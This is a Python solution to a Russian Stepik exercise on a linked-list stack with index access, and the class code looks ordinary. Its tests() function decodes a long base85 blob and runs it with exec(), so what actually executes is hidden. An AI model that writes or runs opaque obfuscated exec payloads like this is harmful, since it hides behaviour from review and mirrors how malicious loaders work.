184 lines
7.4 KiB
Python
184 lines
7.4 KiB
Python
"""
|
||
https://stepik.org/lesson/701993/step/8?unit=702094
|
||
|
||
Ранее вы уже создавали стек-подобную структуру, когда один объект ссылается на следующий и так по цепочке до последнего:
|
||
|
||
Для этого в программе объявлялись два класса:
|
||
StackObj - для описания объектов стека;
|
||
Stack - для управления стек-подобной структурой.
|
||
|
||
И, далее, объекты класса StackObj следовало создавать командой:
|
||
obj = StackObj(data)
|
||
где data - это строка с некоторым содержимым объекта (данными). При этом каждый объект класса StackObj должен иметь следующие локальные атрибуты:
|
||
data - ссылка на строку с данными, указанными при создании объекта;
|
||
next - ссылка на следующий объект класса StackObj (при создании объекта принимает значение None).
|
||
|
||
Класс Stack предполагается использовать следующим образом:
|
||
st = Stack() # создание объекта стек-подобной структуры
|
||
В каждом объекте класса Stack должен быть локальный публичный атрибут:
|
||
top - ссылка на первый объект стека (если стек пуст, то top = None).
|
||
|
||
А в самом классе Stack следующие методы:
|
||
push(self, obj) - добавление объекта класса StackObj в конец стека;
|
||
pop(self) - извлечение последнего объекта с его удалением из стека;
|
||
|
||
Дополнительно в классе Stack нужно объявить магические методы для обращения к объекту стека по его индексу, например:
|
||
obj_top = st[0] # получение первого объекта
|
||
obj = st[4] # получение 5-го объекта стека
|
||
st[2] = StackObj("obj3") # замена прежнего (3-го) объекта стека на новый
|
||
Если индекс не целое число или число меньше нуля или больше числа объектов в стеке, то должно генерироваться исключение командой:
|
||
raise IndexError('неверный индекс')
|
||
|
||
Пример использования классов Stack и StackObj (эти строчки в программе не писать):
|
||
st = Stack()
|
||
st.push(StackObj("obj1"))
|
||
st.push(StackObj("obj2"))
|
||
st.push(StackObj("obj3"))
|
||
st[1] = StackObj("new obj2")
|
||
print(st[2].data) # obj3
|
||
print(st[1].data) # new obj2
|
||
res = st[3] # исключение IndexError
|
||
P.S. В программе нужно объявить только классы. Выводить на экран ничего не нужно.
|
||
"""
|
||
|
||
from typing import List
|
||
|
||
|
||
class StackObj:
|
||
def __init__(self, data=None):
|
||
self.__next = None
|
||
self.__data = data
|
||
|
||
@property
|
||
def data(self):
|
||
return self.__data
|
||
|
||
@data.setter
|
||
def data(self, value):
|
||
self.__data = value
|
||
|
||
@property
|
||
def next(self):
|
||
return self.__next
|
||
|
||
@next.setter
|
||
def next(self, value):
|
||
if isinstance(value, (self.__class__, None.__class__)):
|
||
self.__next = value
|
||
|
||
def __repr__(self):
|
||
return f"{self.__class__.__name__}({self.data!r})"
|
||
|
||
def __str__(self):
|
||
return str(self.data)
|
||
|
||
|
||
class Stack:
|
||
def __init__(self, data=None):
|
||
self.top = None
|
||
if not data:
|
||
return
|
||
for x in map(lambda x: isinstance(x, StackObj) and x or StackObj(x), data):
|
||
self.push(x)
|
||
|
||
@property
|
||
def bottom(self) -> StackObj:
|
||
curr, last = self.top, None
|
||
while curr:
|
||
curr, last = curr.next, curr
|
||
return last
|
||
|
||
def push(self, obj: StackObj):
|
||
if not self.top:
|
||
self.top = obj
|
||
else:
|
||
self.bottom.next = obj
|
||
|
||
def pop(self) -> StackObj:
|
||
if not self.top:
|
||
return None
|
||
|
||
a, b, c = [self.top] + [None] * 2
|
||
while a:
|
||
a, b, c = a.next, a, b
|
||
|
||
if c:
|
||
c.next = None
|
||
|
||
if self.top in [b, c]:
|
||
self.top = None
|
||
|
||
return b
|
||
|
||
def __len__(self):
|
||
count, obj = 0, self.top
|
||
while obj:
|
||
obj, count = obj.next, count + 1
|
||
return count
|
||
|
||
def __getitem__(self, idx: int) -> StackObj:
|
||
if not isinstance(idx, int) or not 0 <= idx < len(self):
|
||
raise IndexError("неверный индекс")
|
||
count, obj = 0, self.top
|
||
while obj:
|
||
if count == idx:
|
||
return obj
|
||
obj, count = obj.next, count + 1
|
||
|
||
def __setitem__(self, idx: int, value: StackObj):
|
||
if not isinstance(idx, int) or not 0 <= idx <= len(self):
|
||
raise IndexError("неверный индекс")
|
||
|
||
if not isinstance(value, StackObj):
|
||
value = StackObj(value)
|
||
|
||
if idx == len(self):
|
||
self.push(value)
|
||
return
|
||
|
||
old = self[idx]
|
||
value.next = old.next
|
||
|
||
if idx > 0:
|
||
self[idx - 1].next = value
|
||
else:
|
||
self.top = value
|
||
|
||
def get_data(self) -> List[StackObj]:
|
||
return [x for x in self]
|
||
|
||
def __repr__(self):
|
||
return f"{self.__class__.__name__}({self.get_data()!r})"
|
||
|
||
def __str__(self):
|
||
return " -> ".join(map(str, self.get_data()))
|
||
|
||
|
||
def tests():
|
||
code = (
|
||
b"b95j*AX9W<V{0fW3UhQWaCLKNC{uJ{V{1=hYA7OaVrnrlA}J{fb963nb#rJaQ*>ctYfoZoC?ao"
|
||
+ b"SYB4e*DJcqbbS`jpb7&}2bYWv_Phx5)B5z`9F*715DGGCRTQOZAJs?wbVPk7gVrnQNZ(?dPEpBCZ"
|
||
+ b"A}I=Cb8}^KbRctdTQFTNWMOn+AU!=GB5z`9F)<<_VQyp~b97rVT`pu{bYUPpJs=`)VrnuiZe@2OE"
|
||
+ b"FdD#u+f6ifY7+mvC)Ikf*@pJbYURSzR<DJiqN&ty3vBruprR7(7VvE(Sgx{(6As=bYWv_Phx5y(S"
|
||
+ b"gvu(6rFC(SXpl(74fpAke+gwa~KAwb6jkz0r%%wII;6(6G?G(7n-%(6u583UqRLItm~lARupIY9K"
|
||
+ b"uzb97rXT?%D*V`Xr3AW3dyWq3t$a&K}v3LqdLAYpTJWpZ>NRC0A?3T13_WjYEVARr)Nb8}^KbRb4"
|
||
+ b"yY;$ESAR^Gc(6u1ZfzY$iwa~rLwb6jkxY2;nzR<GJu+Y2EzR`ivj3Cgs(Sgvq(7Vx&(TC8r(7n*O"
|
||
+ b"(6t~*Ze(S6MRIa)av}-}Z(?d7Js@**E^u#fC@BhIb8}^KbRchHYA$49bYUPpJs=`)VrnrnA}k;x("
|
||
+ b"7e#K(Sp#v(6k_MZ*U;cw9vlLyU@1Kwa~pF(Sy*m(6G?E(T~xB(TpI_ztFzXfzZ3qwa~QCz0kPOxg"
|
||
+ b"gNK(6P~q(6!LI(Sjh+fzg7{wa~iIuprR5AkebVzR<VOveAIhu+fRou+f6ij3Cgp(6i9KA_@v_AUz"
|
||
+ b";33TPlbAaissbZ>A9cW7yBWguue3LqdLAYpTJWpZ>NX>)0Ab97;DV`V64EFe>KVPk7gVrnTYAR^G"
|
||
+ b"d(6P~q(6!LI(Sjh+fzg7{wa~iIuprR1(7w>S(6-RE(7hngvC)gsg3*j1(T&i$(6`XF(7e#U(7Vx("
|
||
+ b"(SXpt(7Yhfy3o7Ou+f3hfzYrZQ*>ctYfoZoA_^cNARulaD?K1F3LqdLAZQ>xAZRXbWq5Q7ARr(h3"
|
||
+ b"So0|WpZ>NZXi89ATlf<BGA3iwa~KAwb6jkz0khUwII=l(74fo(7VvSAke<hvC)dqwa~iJg3!LuvL"
|
||
+ b"Mj1Akl%*g3z_ly3n;CDA2OdzR<VOywJYTw$Q!MzAPZnz0k1HfYF1|h|smrz0j~A(6!LB(7qtifzg"
|
||
+ b"7|fYF1{y3vBsgVBJ{uqh$"
|
||
)
|
||
exec(__import__("base64").b85decode(code))
|
||
|
||
|
||
if __name__ == "__main__":
|
||
import doctest
|
||
|
||
doctest.testmod()
|
||
tests()
|